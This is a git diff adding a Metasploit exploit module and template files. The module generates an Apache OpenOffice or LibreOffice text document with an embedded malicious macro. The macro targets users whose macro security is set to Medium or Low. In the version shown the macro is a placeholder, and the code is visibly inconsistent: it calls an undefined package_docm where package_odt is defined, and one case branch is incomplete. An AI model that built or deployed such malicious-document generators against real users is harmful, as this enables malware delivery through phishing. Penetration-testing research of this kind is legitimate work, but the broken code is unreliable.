diff --git a/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml b/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml new file mode 100644 index 0000000000..61bfb030c5 --- /dev/null +++ b/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml @@ -0,0 +1,8 @@ + + +REM ***** BASIC ***** + +Sub OnLoad +MsgBox "Auto1111?" +End Sub + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Basic/Standard/script-lb.xml b/data/exploits/openoffice_document_macro/Basic/Standard/script-lb.xml new file mode 100644 index 0000000000..45710ba3f8 --- /dev/null +++ b/data/exploits/openoffice_document_macro/Basic/Standard/script-lb.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Basic/script-lc.xml b/data/exploits/openoffice_document_macro/Basic/script-lc.xml new file mode 100644 index 0000000000..43beef090b --- /dev/null +++ b/data/exploits/openoffice_document_macro/Basic/script-lc.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Configurations2/accelerator/current.xml b/data/exploits/openoffice_document_macro/Configurations2/accelerator/current.xml new file mode 100644 index 0000000000..e69de29bb2 diff --git a/data/exploits/openoffice_document_macro/META-INF/manifest.xml b/data/exploits/openoffice_document_macro/META-INF/manifest.xml new file mode 100644 index 0000000000..76e8cd87ac --- /dev/null +++ b/data/exploits/openoffice_document_macro/META-INF/manifest.xml @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/Thumbnails/thumbnail.png b/data/exploits/openoffice_document_macro/Thumbnails/thumbnail.png new file mode 100644 index 0000000000..6b140e2983 Binary files /dev/null and b/data/exploits/openoffice_document_macro/Thumbnails/thumbnail.png differ diff --git a/data/exploits/openoffice_document_macro/content.xml b/data/exploits/openoffice_document_macro/content.xml new file mode 100644 index 0000000000..de35e46bf0 --- /dev/null +++ b/data/exploits/openoffice_document_macro/content.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/manifest.rdf b/data/exploits/openoffice_document_macro/manifest.rdf new file mode 100644 index 0000000000..927e206bb2 --- /dev/null +++ b/data/exploits/openoffice_document_macro/manifest.rdf @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + + + + + diff --git a/data/exploits/openoffice_document_macro/meta.xml b/data/exploits/openoffice_document_macro/meta.xml new file mode 100644 index 0000000000..6ba6c515ed --- /dev/null +++ b/data/exploits/openoffice_document_macro/meta.xml @@ -0,0 +1,2 @@ + +sinn3r 2017-02-06T15:15:47.352017-02-06T15:21:59.64sinn3r PT4M16S2OpenOffice/4.1.3$Win32 OpenOffice.org_project/413m1$Build-9783 \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/mimetype b/data/exploits/openoffice_document_macro/mimetype new file mode 100644 index 0000000000..2e95b81c92 --- /dev/null +++ b/data/exploits/openoffice_document_macro/mimetype @@ -0,0 +1 @@ +application/vnd.oasis.opendocument.text \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/settings.xml b/data/exploits/openoffice_document_macro/settings.xml new file mode 100644 index 0000000000..207a6afe30 --- /dev/null +++ b/data/exploits/openoffice_document_macro/settings.xml @@ -0,0 +1,2 @@ + +003138110532truefalseview26895300200313801053000false100falsefalsetruefalsetruefalsefalsetrue0falsetruefalsefalsefalsetruetruefalsetruefalse1falsetruetruefalsetruefalsetruefalsefalsefalsefalse0truefalsefalsefalsefalsetruetruetruefalsefalsefalsetruefalsefalsetruefalsefalsehigh-resolutionfalse0truetruefalsetruefalse \ No newline at end of file diff --git a/data/exploits/openoffice_document_macro/styles.xml b/data/exploits/openoffice_document_macro/styles.xml new file mode 100644 index 0000000000..bcdf3b8430 --- /dev/null +++ b/data/exploits/openoffice_document_macro/styles.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/modules/exploits/multi/fileformat/openoffice_document_macro.rb b/modules/exploits/multi/fileformat/openoffice_document_macro.rb new file mode 100644 index 0000000000..57399dbee6 --- /dev/null +++ b/modules/exploits/multi/fileformat/openoffice_document_macro.rb @@ -0,0 +1,121 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + WINDOWSGUI = 'windows' + OSXGUI = 'osx' + LINUXGUI = 'linux' + + def initialize(info={}) + super(update_info(info, + 'Name' => "Apache OpenOffice Text Document Malicious Macro Execution", + 'Description' => %q{ + This module generates an Apache OpenOffice Text Document with a malicious macro in it. + For exploit successfully, the targeted user must adjust the security level in Macro + Security to either Medium or Low. If set to Medium, a prompt is presented to the user + to enable or disable the macro. If set to Low, the macro can automatically run without + any warning. + + The module also works against LibreOffice. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Apache OpenOffice', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 10 2017", + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new("BODY", [false, 'The message for the document body', '']), + OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) + ], self.class) + end + + + def macro_code + %Q| + function GetOS() as string + select case getGUIType + case 1: + GetOS = "#{WINDOWSGUI}" + case 3: + GetOS = "#{OSXGUI}" + case 4: + GetOS = "#{LINUXGUI}" + case + end select + end function + | + end + + def on_file_read(short_fname, full_fname) + buf = File.read(full_fname) + + case short_fname + when /content\.xml/ + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) + when /Module1\.xml/ + buf.gsub!(/CODEGOESHERE/, macro_code) + end + + yield short_fname, buf + end + + + def package_odt(path) + zip = Rex::Zip::Archive.new + + Dir["#{path}/**/**"].each do |file| + p = file.sub(path+'/','') + + if File.directory?(file) + print_status("Packaging directory: #{file}") + zip.add_file(p) + else + on_file_read(p, file) do |fname, buf| + print_status("Packaging file: #{fname}") + zip.add_file(fname, buf) + end + end + end + + zip.pack + end + + + def exploit + print_status('Generating our odt file...') + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro') + docm = package_docm(path) + file_create(docm) + super + end + +end